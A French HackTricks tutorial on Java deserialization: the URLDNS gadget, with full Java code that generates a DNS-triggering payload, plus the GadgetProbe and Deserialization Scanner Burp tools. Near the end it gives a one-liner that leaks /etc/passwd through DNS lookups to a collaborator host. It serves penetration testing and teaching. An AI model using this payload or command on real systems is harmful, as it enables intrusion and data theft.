13 KiB
Désérialisation DNS Java, GadgetProbe et Scanner de Désérialisation Java
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Requête DNS sur la désérialisation
La classe java.net.URL
implémente Serializable
, ce qui signifie que cette classe peut être sérialisée.
public final class URL implements java.io.Serializable {
Cette classe a un comportement curieux. Selon la documentation : "Deux hôtes sont considérés comme équivalents si les deux noms d'hôtes peuvent être résolus en mêmes adresses IP".
Ainsi, chaque fois qu'un objet URL appelle n'importe quelle des fonctions equals
ou hashCode
, une requête DNS pour obtenir l'adresse IP va être envoyée.
Appeler la fonction hashCode
d'un objet URL est assez facile, il suffit d'insérer cet objet dans une HashMap
qui va être désérialisée. Cela est dû au fait qu'à la fin de la fonction readObject
de HashMap
, ce code est exécuté :
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Il va exécuter putVal
avec chaque valeur à l'intérieur de la HashMap
. Mais, plus important est l'appel à hash
avec chaque valeur. Voici le code de la fonction hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Comme vous pouvez l'observer, lors de la désérialisation d'une HashMap
, la fonction hash
va être exécutée avec chaque objet et pendant l'exécution de hash
, la méthode .hashCode()
de l'objet va être exécutée. Par conséquent, si vous désérialisez une HashMap
contenant un objet URL
, l'objet URL
exécutera .hashCode()
.
Maintenant, examinons le code de URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Comme vous pouvez le voir, lorsque URLObject
exécute .hashCode()
, cela appelle hashCode(this)
. Ensuite, vous pouvez voir le code de cette fonction :
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Vous pouvez voir qu'un getHostAddress
est exécuté sur le domaine, lancant une requête DNS.
Par conséquent, cette classe peut être abusée afin de lancer une requête DNS pour démontrer que la désérialisation est possible, voire même pour exfiltrer des informations (vous pouvez ajouter en tant que sous-domaine la sortie d'une exécution de commande).
Exemple de code de charge utile URLDNS
Vous pouvez trouver le code de charge utile URDNS de ysoserial ici. Cependant, juste pour faciliter la compréhension de la façon de le coder, j'ai créé ma propre preuve de concept (basée sur celle de ysoserial) :
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Plus d'informations
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Dans l'idée originale, la charge utile de commons collections a été modifiée pour effectuer une requête DNS, ce qui était moins fiable que la méthode proposée, mais voici le post : https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Vous pouvez télécharger GadgetProbe depuis le Burp Suite App Store (Extender).
GadgetProbe essaiera de déterminer si certaines classes Java existent sur la classe Java du serveur afin que vous puissiez savoir si il est vulnérable à une certaine exploitation connue.
Comment ça marche
GadgetProbe utilisera la même charge utile DNS de la section précédente mais avant d'exécuter la requête DNS, il essaiera de désérialiser une classe arbitraire. Si la classe arbitraire existe, la requête DNS sera envoyée et GadgProbe notera que cette classe existe. Si la requête DNS n'est jamais envoyée, cela signifie que la classe arbitraire n'a pas été désérialisée avec succès, donc soit elle n'est pas présente, soit elle n'est pas sérialisable/exploitable.
Dans le github, GadgetProbe a des listes de mots avec des classes Java à tester.
Plus d'informations
Scanner de désérialisation Java
Ce scanner peut être téléchargé depuis le Burp App Store (Extender).
L'extension a des capacités passives et actives.
Passif
Par défaut, il vérifie passivement toutes les requêtes et réponses envoyées à la recherche de bytes magiques sérialisés Java et présentera une alerte de vulnérabilité si l'un d'eux est trouvé :
Actif
Test manuel
Vous pouvez sélectionner une requête, cliquer avec le bouton droit et Envoyer la requête à DS - Test manuel
.
Ensuite, dans l'onglet Deserialization Scanner --> Onglet de test manuel, vous pouvez sélectionner le point d'insertion. Et lancer le test (Sélectionnez l'attaque appropriée en fonction de l'encodage utilisé).
Même si cela s'appelle "Test manuel", c'est assez automatisé. Il vérifiera automatiquement si la désérialisation est vulnérable à n'importe quelle charge utile ysoserial en vérifiant les bibliothèques présentes sur le serveur web et mettra en évidence celles qui sont vulnérables. Pour vérifier les bibliothèques vulnérables, vous pouvez choisir de lancer des Sleeps Javas, des sleeps via la consommation CPU, ou en utilisant DNS comme cela a été mentionné précédemment.
Exploitation
Une fois que vous avez identifié une bibliothèque vulnérable, vous pouvez envoyer la requête à l'onglet Exploiting.
Dans cet onglet, vous devez sélectionner le point d'injection à nouveau, écrire la bibliothèque vulnérable pour laquelle vous voulez créer une charge utile, et la commande. Ensuite, appuyez simplement sur le bouton d'attaque approprié.
Informations d'exfiltration DNS de désérialisation Java
Faites en sorte que votre charge utile exécute quelque chose comme ce qui suit :
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Plus d'informations
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.